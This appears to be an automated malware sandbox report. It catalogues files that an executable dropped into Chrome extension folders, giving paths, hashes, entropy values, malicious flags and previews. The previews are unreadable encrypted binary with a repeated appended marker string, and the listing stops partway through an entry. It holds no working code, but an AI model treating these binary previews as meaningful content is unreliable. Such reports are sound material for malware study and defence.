C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	80603
Entropy (8bit):	7.997876321911736
Encrypted:	true
SSDEEP:	1536:KGlRurpbH1hiBK9XbFmmiXLp7/PC9PxwxT46bq:KXrJHoKJbFmmiJ/a95wqKq
MD5:	CD85FCE0C55457FDA5E4A71A5E982B16
SHA1:	3381FECEAEA536FA9122F3DD7C4F5C2E67DD742D
SHA-256:	7FC491BF186AD83AB2ABD67488E6524EDEC15234662DFA67EA09CFF13A263AC5
SHA-512:	B505954DD6B411463E8F32B00222A2EE4C24DF0ABF6810E6B755300C5B612C029ADF43588D3D06D1F44F46FE1BE0BDC4E848B285D26D6510C022606784056139
Malicious:	true
Preview:	/.. .....O..0...K...........}L._..J...M%..........V../B...:.qMu...L..o.z.G..5iQ.0n...l_....qn.......s.l.G.!..9..D.>.%.0[RO....x....~.d..H...I.A\.G.@\...W.X......2...c..SC <...{.A...G.b..W.@."......g/...3}t..,H?4<.....6<...)w.....~.k.\0....c.[........x8.c?.....w;..].t....&....Ro..&...\.[a.C...+...Z"..u!..AwB.PA.8...?.r...RDy\|C).hP..o........g.z.;t.......3=j...J..bz.h........B.0.._y....DK.."......0>.z.-!.5._..e..0..$DN["..rUe[I._b..>@5{.b.e\`.....z.q...]H.?...5..S..E.W..8..b..`.d{.8.,..v....."..H..$.P.h;.x..k.....'2......Q'...q.Nq....(...B........2u..u..(k.P...}.{.8...7\...]+&}m2.6.r..#............0..G!.....,...B>m.d...v}.V...E }...l..X.d....,...?...7rj.pkk..8...q1.h9...~.K.........+.qd>..."..4......G.m..a.:.(........q....1......at37~..,...+>.Y....`9XQ3..^2o,..t..z\y;.r{...K7......k[I..r.E...9.%....C..(.ug..tAw.o..%/..i...K..=!.....;.......8..(..h.).vc..Am.....J.....Mm.<c...5..=..huM$x$..>S.?l.,..K.qE........s/.j...)..A.....Y..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.93768930610608
Encrypted:	false
SSDEEP:	48:kCW3QTj+rWN87w8PjjIBzf3v3hG59OPJG6c1XSgKt61hA3WqmD:XWknNKjIVfPg9Ow/1iN6k3h+
MD5:	C8B53ECF53F42B6B29FF484E6FDFB95F
SHA1:	622813083EFF40506D403B7F105244662F7C12E8
SHA-256:	0651F0FA1F7ACE69F851BDD10AD131732F4438B0BD5248D93B407A2416BD1804
SHA-512:	47BD11AB4AEF3C7513AD715C2C1DAAB884D3643F825A1A3E41CEF66128812D109773E6EA49D809CE45F71B34AA3DA1594D2C83941656A3D28C756C0E7CA1B0C0
Malicious:	false
Preview:	{.. ..aN.]n....C..m..[m......)..y.t@... j.....nCt.i...o.O..fR=^9.)..S@..0.Y......?..2..F....gG........L.en.k..e.7.aRK.....d.."qC.<..S.2\..>K.O.N...!.w.r.....YeF+. .a..>..5\...+.....[}...d......G..N&..e.S.._TIow.9..$ef%.u..9.v.+.m.......Bf.....z.E......V.p..?..- ..N..p.H9....Am.~.....@:.X.....x...u.n.f........~.a's.l..?........IR)^.~.+..)X..~x!......T....+..9./g.k...............b....[.i........L1....N.a......./Eu..u.-}j<..+.........>.1(..w..N..guf.........)\|.X....!.}).....^._.z.{.......=....i..4....J.d..`.)q!.A..;..t.*..]..0...._...W..u.-.%.y./.....gS.....&....K.0.y/.....W..;\|+./. ..z.?.yNg/.F.c..:.?.o..]....9..d.o.".y2.l..`.O.\|....@..MM....%.oB.....A....$.,!...%w..\?...N...(..v......uz.fke.........:..p....H.W..~.y~.........c.o.oA.............&3.(jK>HU.,.!...%.s.q...hc.RE.c..0..C\|..\|....h>#..Lj.0......O0Y%2S.=....._Vc.%%.......AJy9.vc.V8.....D.[...d...G.<Xy....f....\B..:.H$...4.Jn.WzU(h.!"..r.....-%.....6x......S%.\|^K.J..^Re.D....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.646597392752061
Encrypted:	false
SSDEEP:	12:2ljjYJS/Coao6Ut/NC9Ec9/JQuHYHhLLd8Mk4ni1vY884W/p2Qscii9a:25k0/CoJt/NKfYBLLwYVx3sbD
MD5:	08B3CC3C7F17D2F2A0951A5200DE95D3
SHA1:	26CA5DD0733B95D53E78CDB1542CF419023A1176
SHA-256:	C495A084B1D8B2F6A7BF9F1E9D52728F9A1800828399DBE339BA4DE560FB256B
SHA-512:	A695CE2459B36EA32CD3B7218592A63A3F9A5C5CCEBE5F880EA881A4B3353D76AFD248B3E2FB8E3DB95A22B92D953DE3C525FE6F8E6044337746D91F2D5BE8B0
Malicious:	false
Preview:	(func.C.....2._...H.}...W....:.;S........'..F...s.....x+...l.....EtMS...d..#m...\.pVo.YzX...\.....lJ-:(.D.;.._.......f9>.V....aZ2..C~3...z8Q...4.Y.<.~F.:}.Y0.L.....[...+.M..C.}&5...^f..W.M.E.......Yb\|........v../...?k.K^.L^..)...`..J........UP.n....A..\|X.!#...bmd<..p..a.-I.SE.#.3...;-..H.>.).@...8c...[..t..~:.&{I........Z..wi;4.}.r.s............'...Bc...sU$.u...S.p..h..H.R......E.q.:.d...D.I....@.a!..o.J.t.L..&j.'"r...O..ny...!9..\|.`nSC......{~..'Q'......l..E@H..E2y.j=.N.}...w.%....:. s4;..V.2f1.0..HCu...X...T8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	11551
Entropy (8bit):	7.985878502117959
Encrypted:	false
SSDEEP:	192:FuXeps9LqgoZ4zmGmgFz/QMFE06UwP1IpmgNb2SU99IjvychXnzz2EQ3OFsSnzTZ:FuX59LqXZ4zKG/Q8UUwP1mmgJ2j9OjvV
MD5:	49F8E539AD1612683447CB63D486D057
SHA1:	8D8A3F91A34682424913A85503107C01EC9E59D6
SHA-256:	594D56F76A08EB554BAAEE192EB7F72671CCB3418C03E012A83BA838AAD3237C
SHA-512:	81EEE94AE1E551352E388810AD6BAEE59E8C6E49125DD794A152DE77F755CF3598E4B3D973B01A772650F9715C7F9C81F8F3C6E0EE873BFD83EBEECBC611D791
Malicious:	false
Preview:	{"fil..?....U.$.#q.OP.C.....0...\.~P..^....#..`7q.;...6..O....F.`...._38.....TR.\.../.....r...C.........H...........;.h...q..ju=.}O.x...BN...2.m .....@s`n..y....I...w....K.._...RJ.k..a....V..F,..[.....$e\.:....j!..1.65..".nX....Jd._J..c...,.....d..2.W.@w.pjs5....i..m.fW 5....h)B..T....[sPY.Y.[.[....Vl..[.E..B1.#y........x..51.#._((\|..z..J .... .."..LQ.u.4.P.Z.......7...Xc.`..~..!<.#mz.2..RQ..ng.m.......>.....I...#/....M.&DT.......L..W'm.......wF<C..@<@6.=..TLi..i[ .A>.p....p...,.[..]."..s..$_.H?....@..E..#..;...]B.^5w.......!.)..!.....;..k...VJ../ZJ..\6.\|......D..I5..bV.6.N!._....4...,...F..r..;\|k.U{.k.Ip4s.1.M../....s.2........._SVn....).-"k>fr.EE.2L\|..~C..U)Y.P.>.>C....8R !'....H$B.`..,.[...H......5..u(.....\..W....e."..C(D.I9 o..r...b...R\|R....b.B..Oi.j...Fo..Z..=Q...t.w..,.....J.....<.o.G_f-+.F.\io....F!/...........S.....?:.Y..SK...J.gH.r....l....UW...n...C.3P1ZH..S.....!...>"_.I.mfb..U/g~M.\|..%'i....".IB{..wi...nG...Co.F.D,J

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8114
Entropy (8bit):	7.97906491215844
Encrypted:	false
SSDEEP:	192:IGL9Qys4Ep9bXN9CrDHt7FL56JkEumh6Vs18+b9NFkOSF+:IG5QRzp9cDHt7H66orcOS0
MD5:	2518E07BC8DD963E132502874CC8A04C
SHA1:	A70B7DAA19CA3B6D0E719746B428992AF3A80779
SHA-256:	AE9E992A43C3F8673CBA1C9016CAC3D72CA970770809D2A1D34779090F89EC02
SHA-512:	D47F06192D71DF5044CCFF943979C13EBA0500729E27BB798FAB33283C0F35899A243EC36F4849476A99CEE3A6C6059930EBB09F0741B7022DBB7D30C18EFEE7
Malicious:	false
Preview:	[{"de.C>.).1.d......?....E.`&SB..$M.H..^C..z.......`t..5V..X8.Q.1......J..fz..U...Br......a..[._..C.....32.-..Lc..g....U.u.Qq.ax.....#y&s..0se...+..64..?...<d..9\.Huw.....O.G.V.'.-.r"vsG..e....ye.W..I...P..-.:.u..X.J..."...5$.............j.........UTh.`.....#...da..(.Y.K; ......x.Q).d.O7D..)..[.Y.\|.x..;..7._t.....".~..o,}.;.......cq.....AJ...;vD..u.u.v/..[.CI.<.;G.(.H..n..R+.l.......O...?]J..i..~...y\....N ..1....s..V.....(......>.nH/..8...Xf...i....O.{2.A......I%.'/..F.+.uS.B<R...C..Nw...M....e$.j...\.....2.W.5V>=C"Z{o..x.....j.....ap:..!.....I.Fp......6l_gc.. .........o^C=.#Jh.Cw.....B)=...j7...<.F..7.a.hQ..'1..4l.<..c.xQ..JNS.[..1...0..j<...S5U.".+..,.&vq..{..'.X~SK..A...?......k..rM.D-M@."..tJ;...)....ftP>gjK........n[.p3=.........~.)..*.)If.;..m.q....q...W. O....g.C.J............_..`.."%.v3>...m..(.$r.6[.Z...n.h?y.......-.O..P5....>'.^A....X!.e7.fY.$0...m..%...[...S.f...\|..;\E/..{.s^ilv...oWj......n".q...o&.....8)....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	544977
Entropy (8bit):	6.601334245999965
Encrypted:	false
SSDEEP:	6144:YztYpO0XxvzLAf8Tp8O8RQ1q7aRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOk:Yu3NLXyoq72
MD5:	BB2AF606FD5C1588A78DA2963E076B63
SHA1:	0371A3C93C64921FC6A12A53B8EA3E83FB8E6F25
SHA-256:	0A64CC3779D57E7C2311B2B7B645A60354428600AC301FDB8C3914496C51A118
SHA-512:	8FEC9C83AA73A051A85E4937A113206B6D5E8C22E2240F4934ABC91D63E192E17799FA66A54D52A55318A0582AB98A1AC5A6282756E59A7CFEDB0BE6811208E1
Malicious:	false
Preview:	/.. .Ab....W.=.5.X.a..F.........'G.....s./....t...p:AX..A8.B._...)1.P...b.....#.....k.;.R~.mM...^.,......oX...O.....H....J=+...).y.F.NS..VU.t.4.,..6pAf..^..=.1x0.?/.Tpn...X.....]..1....f..,..e........o.0....#.U....wq6b.x8...y.....(.8...>.p.@F._.<.N...[1....7.\|;...1].OR.g#."...9...q..o......N.n.N.C.x.S.....s\|..E.....co......A....n...o.H,..Td.Z..m.k...b\.0..Wx..5......(.\..p.....o...e.x..y`r....'C.b.6...4a..-.W~.h..a.#,.@....^..s..?......T...s....G.....Z..7.8H.y...#R....B......@.......YKY....AIx.3.D..Ruy..f..o.M......l.,.Q.....P-.N.n.R.h...aa...v#I...V.T.>Usu..$...UZ}..\|=. , >.rb....a._...+.ssq+..2......@.iy._.?.A.Lk..9s-..Vs.6Si'q....Z.M..L...Jb6L..O..e...6..8.i.aw.lr..........l...4..s.&f....'...k......D.>.....Mp......\|.SAi.G"..G..h................\...;.t\|3..j..V..&........R....n.pV...%lHN.rH+.\...5Dd.....e1{./..Fce..}.Bw.?!#.E.5`>?.@...`?.[A..}.Bx;..U"B.....}'G...y.M. ..O.(-.....3...8.4......G...b..$.(o.d...iP/...Ji.V.._(L..e0xc..mQ.....(..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	261650
Entropy (8bit):	7.488232003950939
Encrypted:	false
SSDEEP:	6144:SCWcP9Z/CACVkvh1xzGdQ+u6pcAgz1x9FNNsZ9Dd/cec:S7cP9c9kvhPydv+AgRFIBdW
MD5:	9DEBAED3382486EDE3638017DBD8FBED
SHA1:	8BB85FA73BCB31942226404BDADF8DEB8AEB7F26
SHA-256:	EACFBFB1D86857FD36DB544899DD7B240AE1CC80E08F6342910959C517C6C243
SHA-512:	53756F8D535E2C54D367A8E84D2CD24BEF21DDB89F1EBE9CD3512DCD9BEBE3CBEDF1F64E2CD40AA40DF24F930EB3C4CF0FE82D2A6D309869CE41F8AE22985382
Malicious:	false
Preview:	/.. .. ...?..h.x..E{ i....Dp7.[....c.....UO.gm.....%sNUx....U......a.N.Cy.]...a..r/...-.?..N .......v.;..q[t35...~..O_..8d7.....o.N.p.=..B......l....T.<cn..fc.......i.,+J}z..l..r...U.t...BA..O\|.n..X#.+.8..?[.b9y[...YG.F......l......f.t.......u..m.P.4kV..B......0Z.qD.{./....u.....Z.j./...Y.D..h.g<28.....h..<KS.I.......31J..rM0hqFS.....}p...g..+...8..w...8t.T...y....j..n.$w....bR0Pq.d..4U.fa...i.].cn.k........8m.:......8.j..p....wi`..H..@.c...j.c.....U.,.\|..K.#.<...C./A...%N.D.g.)....H...?./...>P..........'7...e....I..../.....7..x..3.../..O.:....d<].;..Y........X.t..,.?.../.`hA[v..C..\|.....Yf+.8.?...l..E.%.=..,S...:...........q.......`.</Z.../........zC...X.c.,2... ..kU..<..2...i../...y/.C.v....8......U..J.gya..6&.,\..gfn3.l.)`.!U.:.E}......G...]...eZ.B. ........x]oR...<W..e..9.K...&..VD.^.v.K.cXa!3T...wD$.......I...Qv]..>.#e=...?2)x.7<:.%...Nd.......)(.JS..`d..lY8....-S.&.p...d~..5..rJ..-.....r8.+p...:Y..G.^;.l<Zr}.[.....c71.L.?V..W...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\craw_window.css

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2075
Entropy (8bit):	7.9070224874587405
Encrypted:	false
SSDEEP:	48:eliYi2/LznCpAEuk72PodKEF/UxzpxActe0sUFfmD:eAgH8ASCPrWczBoUF+
MD5:	38C34D4D63EDEB950661E38DDA0CCA9B
SHA1:	C63AC94A66E0ED9CB79F23C636838FD1520D3C6E
SHA-256:	00B28F36860F0F95526247F4E1540FF438EF847EA7DCB1AA10DD73CD4A693ACD
SHA-512:	B6F7051AEE589DA30DE13C5D24013960A158E567105F7CA197611FF9DCA65C9794A62A8EABB9B7EAFE6821BBA9BA0DF0A9990C703D984A89C34EA398FD1A1A42
Malicious:	false
Preview:	html,.a......K....=OKs..j...m...".....s,&Vb^....P.Va....h..Aj..%2....q%.&.V.C...q.....!.2/.0.j.[../............!.0.....:;lR..SA.b..L4h.q&.f.T/..Ia.DVa..u...7.(}..Y...W..nOyn \.. .N..h/NX=6..M..6....?..09h..Y,N...1.F..e....)..D.i...DLq....(.4....9..F[R..$....x.2'$_...y..s.^...s2......a{~sf....<...7.2.v.../Yn...=.g.6...A.....R.?0X&..$..[.....Q......g.t.Q.\Z...U.p.on.x&..2..9u....@..-0.L.<.U......LnY...9.9=@..8!.8.GA>.t.!y.v....ea.`6n.n.!...(Z....P..U....qA.FE... ...@...3.....#.7B.+...OC.0....pP,b......I..D.v....L.G..'.v....8..q6.J.>........e. V.........e....}`.......,...+..!_.P....=G...u....%.S.d....\.).....16.--...I..:O.....6.....RA..e;.S%.....}.......w..&.l.i'.+.s...83...I..C.g..S`..QT.c.....,.../6V...V..8..x.m.u.q9naB...S+......Y..7ox{.~...r....I..3.....8.z.j.xOM.1.M..6[.4..sFQ.6(`......T..?.Qu.&.........&~.j...0...:.T..HDd....)......bA.uGMR."am.........s.nQ..ug.>Y.Xm .p.....X..mx.KG.H>.zL....;z.?J.X..pkZ....X?7.+.Z+....B.:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\craw_window.html

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.810004362934314
Encrypted:	false
SSDEEP:	24:OYW/km/nAZN4RhFivpSaVdNq4lGdmDv2pvazcc6dxlMkEzgeV1sbD:OBvAZMTdaVdMkGdmDi+cLCkxw1mD
MD5:	3D0884BC20EDCFC37B3993E01EF08B1F
SHA1:	623645F9623EADC8F79B8347B0B149A5913561D7
SHA-256:	212C8B16624E5A7442A71443B9B9E6CDB5B2C6DF3EE21A715A30CCDD6ED5FF75
SHA-512:	0C8086C5947EE5E342CB39CCE6DBC1864BCCF6C6B69632A2B72999CE9579E142E6DB8AF10E9A0F4BC1A7C8A556061339C87B0E41BC248CC60FA64387B58774E4
Malicious:	false
Preview:	<!DOC.....l...x"..H`.O.z.%t..hI.?.}..Q..`..vs..U....f.09....7.....?AM.. .0\...:<V).n.M1..Y._1..2<.....?..Gc.~.$n.n..z.a$K....F.OEp.9....y.n....(.H.%..my..$.g.au..w......n.......r..z.]^1.......:., $.=....h.;6..pN,aw..e\..!.(.hv ...a..}.<..^].......xN..`K...&\|U...Wg.73^{%M.q."..+C.....uC@..._..).ZyB.WY~_....Ti.r..4...v......^..5. xM..8.<....V..../....G.@t PX..;...V..y...}..#km.....Y...3A.X@......"W..C..[ .`..E\.K.&...K5^=..n........q.t,{.P.....du-...D.,b.d.>..r..Q7.j......a..yF.V.9._.j3.l.=.@.....2..&]..M(..g....{.....Y.hc...._"..O]....GZ..Q....U0L.^......?O.`8.b......^.. .O. ....m&e..u.` }x7L..c..e.6m$...C.....k......X&P.r...r##i;...Z.^...f.yM..t;.Yc....=tK..O.ePU..g;l.l....Mf.......iyK.R.._..$..p.[.P.v..T.}.>..A...x..8/cQ.P..J...T.8&.d..}...D..+Q. &XH.h 9..W...p....H.kcC...G.o..q...v.s.(....H.8....z....W.v.]..r...9u.q..=.M.....Y.."'.7n^...Ks+.=...M.....Z.v.uF.0.."...tIx...m ........&...).9\|^..S.^I..V.w..vCT.#..".....c.A/F.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	GIF image data 14268 x 2918
Category:	dropped
Size (bytes):	70698
Entropy (8bit):	7.997307248550031
Encrypted:	true
SSDEEP:	1536:KaQ40EEOKpGr6i0Ph+q7EfJjco4xKXMWGm483A3uykVc/8eW7Lt6sf1L:KRptiYHW1QoI4Ca1L
MD5:	CA68818331303A39C745187A89A69F62
SHA1:	2B1258EEFB74DE1F515F1932C83D42A5EFB7F214
SHA-256:	75EA6EBD3509EFEDB3742E9BC4D667D626E4134C909D687BD536B906956DAF5E
SHA-512:	B1582545B20D7E2B09F6572806A38E71EDF7E96D844FF1B0CB342C19A0A0BE0D207D9B7B1C4E2406FA9024CAA7B3EFFD57386D20384C49916E7908C0718785D6
Malicious:	true
Preview:	GIF89f.7f."9h.(.g.n.s..l(,..`.A-...]'..G.'.e8.V.....ZidUv.2`...P..........?..wxr..j...J..j.r.....\|J....5k..C....\.H....^......vE".?..4......P,.kQvgY.X..qV.g..:0...L.......?..G..@,.K]..w!P].4.Y.O..&.7.V.'.,.L.`..".....-.....::...&.8..rMm.s...r.;..k....6.d.qS3.QL]..N.....3.$...>rd..I..-...B .3.X.....r.mi..L.-:......;..nQ..)w.z.atTm..m./.Q..W.x.?S..-9.$O.B..d..;...\|.....A .M..I.8.Z..<g<.(..\.\~.....K[.....EL.......z............tZ.\|]...W....H>H7:..y..N.RX.Ix....7.L...OI..@....n....=K.6...8.c.A..z..C.f...-l...W;.H....(H..fl.......@.f...I.kd..r..2.._..O...#...n(nY-...zj&...=....C7.K7...x.Q\|S+..:U]..rU..H..f..T?Z...bQ...h.!p.\.=...." 2............l.s.).`.aVo.s.JS^..,..:......z.g........J...5._V...K..P.{.f....7......(5.f7..CKN.B\|.n....en.QU..........%.!t..7.xYF.O.eg.0={..s\.[...M.-.g}.&..Et.X..l....I.......o...(.$..?.x.oWL.D.(.$.6..E...K.T.....=.Y._..qj.K...K...B....d`X.R......YU.9.9.....Uk_0.;...(..-.6*u.)....<...4m....V.T.(.+eTz..^_....<.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4698
Entropy (8bit):	7.957345120131709
Encrypted:	false
SSDEEP:	96:B8lZNnUYHhzN6K4R53v32feDiTN9hWuF9SulqUooxToJy3YCdCN+:BcZiYBzN6K4XfMeqFWuPSElVxWlN+
MD5:	16B17AC7936AA9C0123A264BE6E09D6E
SHA1:	12B1E240DC983D7BC856D296E3B6A2230F86B6D1
SHA-256:	DF465EA1A84A2F729ACA36523D18B9A09CBA763BCC91C468AC77DF2D9E64D8AB
SHA-512:	140607C72060B372B02DD066FCD50138519B1249336BD3AB0F3AA645848AAF36C027815A7ADEDFC82FC9C4CAF8252780887B45C7A4808BC44AB76D4936E3C6A2
Malicious:	false
Preview:	.PNG.(..P!KZ...A........\.Q.?f.....M..B/..O.....4.TI....3.Hf..vx3Y..$eU....^.z\[.m....!4o....I.!..kb2.U....%M.}..~......[@..O.......0...G.Z/.=8!.H4...J...[..&.&&u...........b......9K..m].....0...,...K..kg.k.t.f.....]W.......d......,.....Vz.+....JE.f&dC./.{....<..R.`.J......G........:.....\|.4/....Eg...%#._.p..x.......rms...6.UE..^a..%^..f.d.]...a.....}T.V.....:.-..&Na..n....8#...u...K@...o..............zA......-....M.'.W.........G..+..e...W...{.U.{.j...bN^.7.......+aU..8....w.R,.UI_."..L.'`..\.K+b.......c.i..k...S..z......c.c..#/2...2...jE....++..H..nQ.....kC..z;st...LqGi[..G......c*a...Iz..n...~;.C\|.1.C.1.....v=[....".R.i.>.@C7...4...?1V..`.o...UmB..}.+e!...C.7.~.._..9.+r.z./...g..+.uUc.....L......l....{.(..a.8;.O....Z1\..].F.o.. .....'IR.CF...=pr.......y...,..m.K#)DDH.KQGNFHS.".Mx.]t.g.'...E.S...{....8."....5z..Z8.H..ZM..a...g...[...Hfm...S?:vN......V.^S.q.O.\.F..}L.......9...N6.k.vw..R.S-..SV[5{..-.lqE./.K..G..0W4M...2.aR.....&

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	892
Entropy (8bit):	7.783291903331445
Encrypted:	false
SSDEEP:	24:3Qa4ONPte5lDsLduxzACRcjc1Fwgt1sNsbD:AZwmlDsLdcsQcjc4gImD
MD5:	81A89C75433FA4BD90C360CBF1CB701D
SHA1:	8276B9E65EE2FA33E6AAB481A20395CE74A2CC5C
SHA-256:	E33EFB16481E4C8866570911604BC6E8657851A43FBC36E636079B6B12CD0341
SHA-512:	2B34D4DAAB99697F26F85CCADF8833F07C8202ABCE67101A88CC390BFC202E43483F4C67A08CBC38E4DDD2BF1FDE909ADC7E9C9250C8F4C56CE0B1D7757689D3
Malicious:	false
Preview:	.PNG..S.....%.1....$..f...$.....x..&_....#. @.y&1..[..8..f4.....}8...(e."....S.a...>.B..I......!.q...I2T.F.p..<.....q0....b{7L..<ze........?........SLW..r......L...]BX.L.D..d..w..[._(.V..$...[...s.....md..\..X./>K.2.B.J...-...y...~. .z........x.Z0.......!..b.jJ".Tl........b=.z@...b...<..a.H:...1....`.8."p.-...q..5<..S....>......v.@..)..p.\|./r.....,..X..9.a..@.\r...E+.n{.mg../..O.t.8:........s...T.*Yaf.w..(/@..m.7.....-.C..Dq.........:0. 2B......t....?.%~ [A...w7.....X.Q/n'..O..j.'.I...N..(W'.S.d..4\|..;b..w............90.9..=....c....T.$)...)cd3X.....Q.-.Sw]n9.)...7[...9...^..~.H.........K....Z.>.8..t.......%.xi..ay...qn..x^M.....................-.@.4Ud]...Zb...Q?.Y.}B(....l..Hp...K.(..7.h..:\i.[...L.-...U.9W5}>M......f;.u.Z_3..R.. .x%..'.............(..Y..h.<.2rt8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.43571401420257
Encrypted:	false
SSDEEP:	12:5tQeU/MPBTjdPSoYxsnHfwiKh03pPQscii9a:5tQZ/Mtd6bm9KhoposbD
MD5:	6B32B83495B3FD99FE5B8DBFC9C164E8
SHA1:	D4AE33E43792D2CC12C4E9BFBA7C306760B382B5
SHA-256:	33CF04D97EFB34C6FE330C1DB6F41F5ED602332497171645FB822E01ED56FC05
SHA-512:	8D26C7407FDED595F4941BD5B2A240632FF66E7E8951C9D9820D2D3EF9EC542960B6C3A81F5E817F9958A5C4C00CB4F5CED31E9C1594373AEE2897D851B7F3C5
Malicious:	false
Preview:	.PNG...1.,a.%...D...%k8.....e.."...........>...a.....xt...o.j.,..m.UV...&/.PX).......%......$H......D.%..2......B.$...B...(K..5.SxN.r..U...L.A..B.Nx.....wi6@...+..@..H..).j6..5a..<.k.~@+w.h!..Q'..'...x..V..st.z.,$.!.+?%.....,..j.3...L.-!.2.........8........c..*.....Gt.u?..!...O..~..H.m.h.u..(.......9.C..........~\|(...Ix...hP.BJ7....3se.VYm.......M..lh...[.2.N.HD..q.M...+.4G...q[..:....t...-...$..M8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.604249001604986
Encrypted:	false
SSDEEP:	12:APKP3L1GzZn0yrZDyP1xqN7G9XswpU3ZcWQscii9a:IKP3On0ydDqRiwpUisbD
MD5:	ED06D90B77015060DEACC906E17024AB
SHA1:	F030A0B8500609E434C681ECA806FEEB85D27426
SHA-256:	AF1EC939A7984EEEE37EF47620E14D74DE4EF36D3F6E57CDBB98D1DF1B56C653
SHA-512:	0F0FA50DEDC99BE70B773F17FA566D3C064CE2DD828AE7689D033521F7ECA898ACFE929AC4D3BE73EB08C0F8A715DD1931340B28760AF62340CD9C4A60FDE3F9
Malicious:	false
Preview:	.PNG....\|.B!.F..j.......s.<.c....N.Z.Z.<.&.J.n.@j.......%......r4.g..W\..X...ABi.(I.0.o..S.2y.F.m2..]....o.La..Q...,...b.M."KH..2..[M....Ri..A.......^A.).........9;R`...@...D../.xl.J.!.y.s..b.?%.N....l<.Q.T.....$.up..O ..f.....K.....2.<a..%..a..s..t.Q+.V.g.e.'.Fv....6d..5.l\...p.X.Aj.O..:".}..@... .#.O..E..%..-.U.......CO...a.(.c..).)V..1........C....=..o.w..>,N..m........yJ.H..Q.....X].d?....6.3j....\V..<...9.....\.BQ..Nj..+......*0?..(.=Igp...o.d...9.......em..xx..!L..i...lU".8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_hover.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.472113292757904
Encrypted:	false
SSDEEP:	12:bGV8HN2EnRKkDAjs/yKRR2h2qgHlay3Qscii9a:bGkRKkUaloFgHlalsbD
MD5:	1662A4CA25F1243CE4389EB8A928C263
SHA1:	DBBBDD8EDE200EE6C1181E72C421902A774481F9
SHA-256:	482E283553470906C2B7CA9E05176E08E8197AD0D484D34CFB6F05274DC878A8
